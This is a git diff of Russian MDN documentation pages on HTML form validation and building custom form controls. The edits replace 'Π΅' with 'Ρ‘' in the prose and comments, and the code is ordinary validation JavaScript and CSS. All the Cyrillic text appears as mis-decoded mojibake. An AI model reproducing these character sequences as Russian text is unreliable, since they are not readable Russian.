Π·Π° ΠΏΡ€Π΅Π΄Π΅Π»Π°ΠΌΠΈ этого Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½Π°.</li>
</ul>
<div class="hidden">
@@ -384,7 +384,7 @@ input:focus:invalid {
<h3 id="Π˜Π½Π΄ΠΈΠ²ΠΈΠ΄ΡƒΠ°Π»ΡŒΠ½Ρ‹Π΅_сообщСния_ΠΎΠ±_ΠΎΡˆΠΈΠ±ΠΊΠ°Ρ…">Π˜Π½Π΄ΠΈΠ²ΠΈΠ΄ΡƒΠ°Π»ΡŒΠ½Ρ‹Π΅ сообщСния ΠΎΠ± ΠΎΡˆΠΈΠ±ΠΊΠ°Ρ…</h3>
-<p>Как Π²ΠΈΠ΄Π½ΠΎ ΠΈΠ· ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹Ρ… Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ², ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ пытаСтся ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ Π½Π΅Π²Π°Π»ΠΈΠ΄Π½ΡƒΡŽ Ρ„ΠΎΡ€ΠΌΡƒ, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅Ρ‚ сообщСниС ΠΎΠ± ошибкС. Бпособ отобраТСния этого сообщСния зависит ΠΎΡ‚ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°.</p>
+<p>Как Π²ΠΈΠ΄Π½ΠΎ ΠΈΠ· ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹Ρ… Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ², ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ пытаСтся ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ Π½Π΅Π²Π°Π»ΠΈΠ΄Π½ΡƒΡŽ Ρ„ΠΎΡ€ΠΌΡƒ, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅Ρ‚ сообщСниС ΠΎΠ± ошибкС. Бпособ отобраТСния этого сообщСния зависит ΠΎΡ‚ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°.</p>
<p>Π­Ρ‚ΠΈ Π°Π²Ρ‚ΠΎΠΌΠ°Ρ‚ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Π΅ сообщСния ΠΈΠΌΠ΅ΡŽΡ‚ Π΄Π²Π° нСдостатка:</p>
@@ -447,7 +447,7 @@ email.addEventListener("input", function (event) {
<h3 id="API_ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ_валидности_HTML5">API ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ валидности HTML5</h3>
-<p>ВсС большС Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ API ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ΠΈΠΉ, ΠΈ ΠΎΠ½ становится Π½Π°Π΄Π΅ΠΆΠ½Ρ‹ΠΌ. Π­Ρ‚ΠΎΡ‚ API состоит ΠΈΠ· Π½Π°Π±ΠΎΡ€Π° ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² ΠΈ свойств, доступных для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ элСмСнта Ρ„ΠΎΡ€ΠΌΡ‹.</p>
+<p>ВсС большС Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ API ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ΠΈΠΉ, ΠΈ ΠΎΠ½ становится Π½Π°Π΄Ρ‘ΠΆΠ½Ρ‹ΠΌ. Π­Ρ‚ΠΎΡ‚ API состоит ΠΈΠ· Π½Π°Π±ΠΎΡ€Π° ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² ΠΈ свойств, доступных для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ элСмСнта Ρ„ΠΎΡ€ΠΌΡ‹.</p>
<h4 id="Бвойства_API_ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ_валидности">Бвойства API ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ валидности</h4>
@@ -571,7 +571,7 @@ email.addEventListener("input", function (event) {
<h5 id="CSS">CSS</h5>
-<p>Π­Ρ‚ΠΎΡ‚ CSS Π·Π°Π΄Π°Π΅Ρ‚ стили нашСй Ρ„ΠΎΡ€ΠΌΠ΅Β ΠΈ Π²Ρ‹Π²ΠΎΠ΄Ρƒ ошибки, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ ΠΈΡ… Π²ΠΈΠ·ΡƒΠ°Π»ΡŒΠ½ΠΎ Π±ΠΎΠ»Π΅Π΅ ΠΏΡ€ΠΈΠ²Π»Π΅ΠΊΠ°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌΠΈ.</p>
+<p>Π­Ρ‚ΠΎΡ‚ CSS Π·Π°Π΄Π°Ρ‘Ρ‚ стили нашСй Ρ„ΠΎΡ€ΠΌΠ΅Β ΠΈ Π²Ρ‹Π²ΠΎΠ΄Ρƒ ошибки, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ ΠΈΡ… Π²ΠΈΠ·ΡƒΠ°Π»ΡŒΠ½ΠΎ Π±ΠΎΠ»Π΅Π΅ ΠΏΡ€ΠΈΠ²Π»Π΅ΠΊΠ°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌΠΈ.</p>
<pre class="brush: css notranslate">/* Π­Ρ‚ΠΎ просто, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π±ΠΎΠ»Π΅Π΅ приятным */
body {
@@ -659,7 +659,7 @@ form.addEventListener("submit", function (event) {
Β Β Β Β // сообщСниС ΠΎΠ± ошибкС.
error.innerHTML = "I expect an e-mail, darling!";
error.className = "error active";
- // И ΠΌΡ‹ ΠΏΡ€Π΅Π΄ΠΎΡ‚Π²Ρ€Π°Ρ‰Π°Π΅ΠΌ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΡƒ Ρ„ΠΎΡ€ΠΌΡ‹ ΠΏΡƒΡ‚Π΅ΠΌ ΠΎΡ‚ΠΌΠ΅Π½Ρ‹ события
+ // И ΠΌΡ‹ ΠΏΡ€Π΅Π΄ΠΎΡ‚Π²Ρ€Π°Ρ‰Π°Π΅ΠΌ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΡƒ Ρ„ΠΎΡ€ΠΌΡ‹ ΠΏΡƒΡ‚Ρ‘ΠΌ ΠΎΡ‚ΠΌΠ΅Π½Ρ‹ события
event.preventDefault();
}
}, false);</pre>
@@ -668,11 +668,11 @@ form.addEventListener("submit", function (event) {
<p>{{EmbedLiveSample("Example_using_the_constraint_validation_API", "100%", 130)}}</p>
-<p>API ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ΠΈΠΉ Π²Π°Π»ΠΈΠ΄Π°Ρ†ΠΈΠΈ Π΄Π°Π΅Ρ‚ Π²Π°ΠΌ ΠΌΠΎΡ‰Π½Ρ‹ΠΉ инструмСнт для ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ Ρ„ΠΎΡ€ΠΌΡ‹, позволяя Π²Π°ΠΌ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒ Π½Π°Π΄ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΌ интСрфСйсом большС ΠΈ Π»ΡƒΡ‡ΡˆΠ΅ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄Π΅Π»Π°Ρ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΡ€ΠΈΒ ΠΏΠΎΠΌΠΎΡ‰ΠΈ HTML ΠΈ CSS.</p>
+<p>API ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ΠΈΠΉ Π²Π°Π»ΠΈΠ΄Π°Ρ†ΠΈΠΈ Π΄Π°Ρ‘Ρ‚ Π²Π°ΠΌ ΠΌΠΎΡ‰Π½Ρ‹ΠΉ инструмСнт для ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ Ρ„ΠΎΡ€ΠΌΡ‹, позволяя Π²Π°ΠΌ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒ Π½Π°Π΄ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΌ интСрфСйсом большС ΠΈ Π»ΡƒΡ‡ΡˆΠ΅ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄Π΅Π»Π°Ρ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΡ€ΠΈΒ ΠΏΠΎΠΌΠΎΡ‰ΠΈ HTML ΠΈ CSS.</p>
<h3 id="ΠŸΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ°_Ρ„ΠΎΡ€ΠΌ_Π±Π΅Π·_встроСнного_API">ΠŸΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° Ρ„ΠΎΡ€ΠΌ Π±Π΅Π· встроСнного API</h3>
-<p>Иногда, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, с ΡƒΡΡ‚Π°Ρ€Π΅Π²ΡˆΠΈΠΌΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ ΠΈΠ»ΠΈΒ <a href="/en-US/docs/HTML/Forms/How_to_build_custom_form_widgets">ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΌΠΈ Π²ΠΈΠ΄ΠΆΠ΅Ρ‚Π°ΠΌΠΈ</a>, Π²Ρ‹ Π½Π΅ смоТСтС (ΠΈΠ»ΠΈ Π½Π΅ Π·Π°Ρ…ΠΎΡ‚ΠΈΡ‚Π΅) ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ API ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ΠΈΠΉ. Π’ этом случаС Π²Ρ‹ всС Π΅Ρ‰Π΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ JavaScript для ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ вашСй Ρ„ΠΎΡ€ΠΌΡ‹. ΠŸΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° Ρ„ΠΎΡ€ΠΌΡ‹ - это скорСС вопрос ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ интСрфСйса, Ρ‡Π΅ΠΌ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° валидности Π΄Π°Π½Π½Ρ‹Ρ….</p>
+<p>Иногда, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, с ΡƒΡΡ‚Π°Ρ€Π΅Π²ΡˆΠΈΠΌΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ ΠΈΠ»ΠΈΒ <a href="/en-US/docs/HTML/Forms/How_to_build_custom_form_widgets">ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΌΠΈ Π²ΠΈΠ΄ΠΆΠ΅Ρ‚Π°ΠΌΠΈ</a>, Π²Ρ‹ Π½Π΅ смоТСтС (ΠΈΠ»ΠΈ Π½Π΅ Π·Π°Ρ…ΠΎΡ‚ΠΈΡ‚Π΅) ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ API ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ΠΈΠΉ. Π’ этом случаС Π²Ρ‹ всС Π΅Ρ‰Ρ‘ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ JavaScript для ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ вашСй Ρ„ΠΎΡ€ΠΌΡ‹. ΠŸΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° Ρ„ΠΎΡ€ΠΌΡ‹ - это скорСС вопрос ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ интСрфСйса, Ρ‡Π΅ΠΌ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° валидности Π΄Π°Π½Π½Ρ‹Ρ….</p>
<p>Π§Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ Ρ„ΠΎΡ€ΠΌΡƒ, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π·Π°Π΄Π°Ρ‚ΡŒ сСбС нСсколько вопросов:</p>
@@ -774,13 +774,13 @@ input:focus.invalid {
<h5 id="JavaScript_2">JavaScript</h5>
-<p>Π‘ΠΎΠ»ΡŒΡˆΠΈΠ΅ измСнСния Π² ΠΊΠΎΠ΄Π΅ JavaScript, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Π½Π°ΠΌΠ½ΠΎΠ³ΠΎ большС тяТСлой Ρ€Π°Π±ΠΎΡ‚Ρ‹.</p>
+<p>Π‘ΠΎΠ»ΡŒΡˆΠΈΠ΅ измСнСния Π² ΠΊΠΎΠ΄Π΅ JavaScript, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Π½Π°ΠΌΠ½ΠΎΠ³ΠΎ большС тяТёлой Ρ€Π°Π±ΠΎΡ‚Ρ‹.</p>
<pre class="brush: js notranslate">// БущСствуСт мСньшС способов Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ ΡƒΠ·Π΅Π» DOM с ΡƒΡΡ‚Π°Ρ€Π΅Π²ΡˆΠΈΠΌΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ
var form = document.getElementsByTagName('form')[0];
var email = document.getElementById('mail');
-// НиТС ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½ Ρ‚Ρ€ΡŽΠΊ для достиТСния ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π³ΠΎ ΡƒΠ·Π»Π° Element Element Π² DOM
+// НиТС ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½ Ρ‚Ρ€ΡŽΠΊ для достиТСния ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π³ΠΎ ΡƒΠ·Π»Π° Element Element Π² DOM
// Π­Ρ‚ΠΎ опасно, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π»Π΅Π³ΠΊΠΎ ΠΏΠΎΡΡ‚Ρ€ΠΎΠΈΡ‚ΡŒ бСсконСчный Ρ†ΠΈΠΊΠ».
// Π’ соврСмСнных Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ… Π²Π°ΠΌ слСдуСт ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ элСмСнт element.nextElementSibling
var error = email;
@@ -867,9 +867,9 @@ addEvent(form, "submit", function () {
</li>
</ul>
-<h4 id="УдалСнная_ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ°">УдалСнная ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ°</h4>
+<h4 id="Удалённая_ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ°">Удалённая ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ°</h4>
-<p>Π’ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… случаях ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΡƒΠ΄Π°Π»Π΅Π½Π½ΡƒΡŽ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΡƒ. Вакая ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠ°, ΠΊΠΎΠ³Π΄Π° Π΄Π°Π½Π½Ρ‹Π΅, Π²Π²Π΅Π΄Π΅Π½Π½Ρ‹Π΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ, привязаны ΠΊ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌ Π΄Π°Π½Π½Ρ‹ΠΌ, хранящимся Π½Π° сторонС сСрвСра вашСго прилоТСния. Одним ΠΈΠ· Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ΠΎΠ² использования являСтся рСгистрационныС Ρ„ΠΎΡ€ΠΌΡ‹, Π² ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π²Ρ‹ Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅Ρ‚Π΅ имя ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ. Π§Ρ‚ΠΎΠ±Ρ‹ ΠΈΠ·Π±Π΅ΠΆΠ°Ρ‚ΡŒ дублирования, Ρ€Π°Π·ΡƒΠΌΠ½Π΅Π΅ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ AJAX запрос для ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ доступности ΠΈΠΌΠ΅Π½ΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ, Π° Π½Π΅ ΠΏΠΎΠΏΡ€ΠΎΡΠΈΡ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅, Π° Π·Π°Ρ‚Π΅ΠΌ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ Ρ„ΠΎΡ€ΠΌΡƒ с ошибкой.</p>
+<p>Π’ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… случаях ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΡƒΠ΄Π°Π»Ρ‘Π½Π½ΡƒΡŽ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΡƒ. Вакая ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠ°, ΠΊΠΎΠ³Π΄Π° Π΄Π°Π½Π½Ρ‹Π΅, Π²Π²Π΅Π΄Ρ‘Π½Π½Ρ‹Π΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ, привязаны ΠΊ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌ Π΄Π°Π½Π½Ρ‹ΠΌ, хранящимся Π½Π° сторонС сСрвСра вашСго прилоТСния. Одним ΠΈΠ· Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ΠΎΠ² использования являСтся рСгистрационныС Ρ„ΠΎΡ€ΠΌΡ‹, Π² ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π²Ρ‹ Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅Ρ‚Π΅ имя ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ. Π§Ρ‚ΠΎΠ±Ρ‹ ΠΈΠ·Π±Π΅ΠΆΠ°Ρ‚ΡŒ дублирования, Ρ€Π°Π·ΡƒΠΌΠ½Π΅Π΅ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ AJAX запрос для ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ доступности ΠΈΠΌΠ΅Π½ΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ, Π° Π½Π΅ ΠΏΠΎΠΏΡ€ΠΎΡΠΈΡ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅, Π° Π·Π°Ρ‚Π΅ΠΌ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ Ρ„ΠΎΡ€ΠΌΡƒ с ошибкой.</p>
<p>Π’Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ Ρ‚Π°ΠΊΠΎΠΉ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ Ρ‚Ρ€Π΅Π±ΡƒΠ΅Ρ‚ принятия Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… ΠΌΠ΅Ρ€ прСдостороТности:</p>
diff --git a/files/ru/learn/forms/how_to_build_custom_form_controls/index.html b/files/ru/learn/forms/how_to_build_custom_form_controls/index.html
index d3ac58ca0b..130f358cad 100644
--- a/files/ru/learn/forms/how_to_build_custom_form_controls/index.html
+++ b/files/ru/learn/forms/how_to_build_custom_form_controls/index.html
@@ -15,7 +15,7 @@ original_slug: Learn/HTML/Forms/How_to_build_custom_form_widgets
<p class="summary">БущСствуСт ΠΌΠ½ΠΎΠ³ΠΎ случаСв,Β ΠΊΠΎΠ³Π΄Π° возмоТностСй <a href="/ru/docs/Learn/HTML/Forms/%D0%A1%D1%82%D0%B0%D0%BD%D0%B4%D0%B0%D1%80%D1%82%D0%BD%D1%8B%D0%B5_%D0%B2%D0%B8%D0%B4%D0%B6%D0%B5%D1%82%D1%8B_%D1%84%D0%BE%D1%80%D0%BC">стандартных Π²ΠΈΠ΄ΠΆΠ΅Ρ‚ΠΎΠ² HTML Ρ„ΠΎΡ€ΠΌ</a> нСдостаточно. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ <a href="/en-US/docs/Advanced_styling_for_HTML_forms">ΠΏΡ€ΠΈΠ΄Π°Ρ‚ΡŒ Π»ΡƒΡ‡ΡˆΠΈΠΉ Π²ΠΈΠ΄</a> ΠΊΠ°ΠΊΠΈΠΌ-Π»ΠΈΠ±ΠΎ Π²ΠΈΠ΄ΠΆΠ΅Ρ‚Π°ΠΌ ΠΊΠ°ΠΊ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€,Β {{HTMLElement("select")}}, ΠΈΠ»ΠΈΒ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ особоС ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ Π²ΠΈΠ΄ΠΆΠ΅Ρ‚Π°, Ρ‚ΠΎ Ρƒ вас Π½Π΅Ρ‚ Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ Π²Ρ‹Π±ΠΎΡ€Π°, ΠΊΡ€ΠΎΠΌΠ΅ ΠΊΠ°ΠΊ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ собствСнныС Π²ΠΈΠ΄ΠΆΠ΅Ρ‚Ρ‹.</p>
-<p>Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΡ‹ рассмотрим ΠΊΠ°ΠΊ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Ρ‚Π°ΠΊΠΎΠΉ Π²ΠΈΠ΄ΠΆΠ΅Ρ‚. Для этого ΠΌΡ‹ возьмСм ΠΏΡ€ΠΈΠΌΠ΅Ρ€:Β ΠΏΠ΅Ρ€Π΅Π΄Π΅Π»ΠΊΠ° элСмСнта {{HTMLElement("select")}} .</p>
+<p>Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΡ‹ рассмотрим ΠΊΠ°ΠΊ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Ρ‚Π°ΠΊΠΎΠΉ Π²ΠΈΠ΄ΠΆΠ΅Ρ‚. Для этого ΠΌΡ‹ Π²ΠΎΠ·ΡŒΠΌΡ‘ΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€:Β ΠΏΠ΅Ρ€Π΅Π΄Π΅Π»ΠΊΠ° элСмСнта {{HTMLElement("select")}} .</p>
<div class="note">
<p><strong>Π—Π°ΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong> ΠœΡ‹ сфокусируСмся Π½Π° создании Π²ΠΈΠ΄ΠΆΠ΅Ρ‚ΠΎΠ², Π° Π½Π΅ Π½Π° Ρ‚ΠΎΠΌ Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ ΠΊΠΎΠ΄Β Β ΡƒΠ½ΠΈΠ²Π΅Ρ€ΡΠ°Π»ΡŒΠ½Ρ‹ΠΌΒ ΠΈ ΠΌΠ½ΠΎΠ³ΠΎΡ€Π°Π·ΠΎΠ²Ρ‹ΠΌ; поэтому Π±ΡƒΠ΄ΡƒΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π½Π΅Ρ‚Ρ€ΠΈΠ²ΠΈΠ°Π»ΡŒΠ½Ρ‹ΠΉ JavaScript ΠΊΠΎΠ΄ и манипуляции DOM Π² нСизвСстном контСкстС, Ρ‡Ρ‚ΠΎ Π²Ρ‹Ρ…ΠΎΠ΄ΠΈΡ‚ Π·Π° Ρ€Π°ΠΌΠΊΠΈ этой ΡΡ‚Π°Ρ‚ΡŒΠΈ.</p>
@@ -23,13 +23,13 @@ original_slug: Learn/HTML/Forms/How_to_build_custom_form_widgets
<h2 id="Π”ΠΈΠ·Π°ΠΉΠ½_структура_ΠΈ_сСмантика">Π”ΠΈΠ·Π°ΠΉΠ½, структура ΠΈ сСмантика</h2>
